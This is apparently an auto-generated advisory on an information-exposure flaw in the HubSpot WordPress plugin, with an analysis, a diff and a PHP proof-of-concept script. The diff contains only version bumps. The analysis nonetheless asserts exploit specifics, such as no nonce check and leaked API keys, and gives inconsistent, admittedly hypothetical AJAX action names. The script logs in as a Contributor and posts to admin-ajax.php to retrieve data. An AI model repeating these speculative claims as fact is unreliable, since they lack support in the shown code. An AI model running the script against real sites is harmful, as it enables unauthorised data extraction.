Atomic Edge analysis of CVE-2026-57736:
This vulnerability exposes sensitive information in the HubSpot All-In-One Marketing plugin for WordPress versions up to and including 11.3.56. Authenticated attackers with Contributor-level access or higher can extract user or configuration data due to insufficient access controls. The CVSS score is 4.3 (medium severity).
The root cause is a missing permission check or capability validation in a specific WordPress AJAX handler or REST endpoint within the plugin. The provided code diff only shows version number bumps across three files: leadin.php, the composer installed.php metadata, and the plugin header. No actual code change addresses the information exposure. This suggests the fix may exist in a separate branch or file not shown here, or the vulnerability stems from an unpatched third-party dependency. The sensitive data exposure likely occurs via a function that retrieves HubSpot configuration or user data without verifying the user’s role beyond the Contributor level.
An authenticated attacker with at least Contributor privileges can send a crafted HTTP request to the vulnerable endpoint, typically via /wp-admin/admin-ajax.php with a specific action parameter, or through a REST API route. The attacker does not need any special nonce or additional permission checks. The request triggers the plugin to return sensitive data such as HubSpot API keys, user email lists, or internal configuration objects. The exact payload depends on the specific handler, but a typical AJAX call would involve POST parameters like action=hubspot_get_data with a numeric or string identifier.
The patch changes the plugin version from 11.3.56 to 11.3.58 in both leadin.php and the composer autoloader. A true fix would add a capability check, for example using current_user_can(‘manage_options’) or wp_verify_nonce() before returning sensitive data. Without the actual functional diff, Atomic Edge analysis concludes that the version update likely bundles a separate fix in a minified or obfuscated JavaScript file or a vendor library that enforces proper authorization on the data retrieval route.
Successful exploitation allows an attacker to extract sensitive information including HubSpot portal configuration, API keys, user profile data, or internal plugin settings. This information can be used for further attacks such as account takeover, data theft, or lateral movement within the WordPress environment. The impact is limited to authenticated users, but any Contributor or higher role can trigger the exposure without needing administrative privileges.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/leadin/leadin.php
+++ b/leadin/leadin.php
@@ -6,7 +6,7 @@
* Plugin Name: HubSpot All-In-One Marketing - Forms, Popups, Live Chat
* Plugin URI: http://www.hubspot.com/integrations/wordpress
* Description: HubSpot’s official WordPress plugin allows you to add forms, popups, and live chat to your website and integrate with the best WordPress CRM.
- * Version: 11.3.56
+ * Version: 11.3.58
* Author: HubSpot
* Author URI: http://hubspot.com/products/wordpress
* License: GPL v3
@@ -59,7 +59,7 @@
}
if ( ! defined( 'LEADIN_PLUGIN_VERSION' ) ) {
- define( 'LEADIN_PLUGIN_VERSION', '11.3.56' );
+ define( 'LEADIN_PLUGIN_VERSION', '11.3.58' );
}
if ( ! defined( 'LEADIN_PREFIX' ) ) {
--- a/leadin/vendor/composer/installed.php
+++ b/leadin/vendor/composer/installed.php
@@ -1,8 +1,8 @@
<?php return array(
'root' => array(
'name' => 'hubspot/leadin-wordpress-plugin',
- 'pretty_version' => '11.3.56',
- 'version' => '11.3.56.0',
+ 'pretty_version' => '11.3.58',
+ 'version' => '11.3.58.0',
'reference' => 'c2e66fbff8826459eb45d6435c1e1590cbf70346',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
@@ -11,8 +11,8 @@
),
'versions' => array(
'hubspot/leadin-wordpress-plugin' => array(
- 'pretty_version' => '11.3.56',
- 'version' => '11.3.56.0',
+ 'pretty_version' => '11.3.58',
+ 'version' => '11.3.58.0',
'reference' => 'c2e66fbff8826459eb45d6435c1e1590cbf70346',
'type' => 'library',
'install_path' => __DIR__ . '/../../',
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57736 - HubSpot All-In-One Marketing – Forms, Popups, Live Chat <= 11.3.56 - Authenticated (Contributor+) Information Exposure
// Configuration: set your target WordPress URL and credentials with Contributor+ access
$target_url = 'http://example.com'; // Change this to the target WordPress site
$username = 'contributor_user'; // Change to valid username with Contributor role
$password = 'password123'; // Change to valid password
// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Try to access sensitive data via AJAX (adjust action and parameters as needed based on plugin version)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
'action' => 'hubspot_get_portal_info', // Hypothetical action name; adjust per actual vulnerable handler
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Output the response (may contain sensitive info if the plugin is vulnerable)
echo "Response:n";
echo $response;
?>
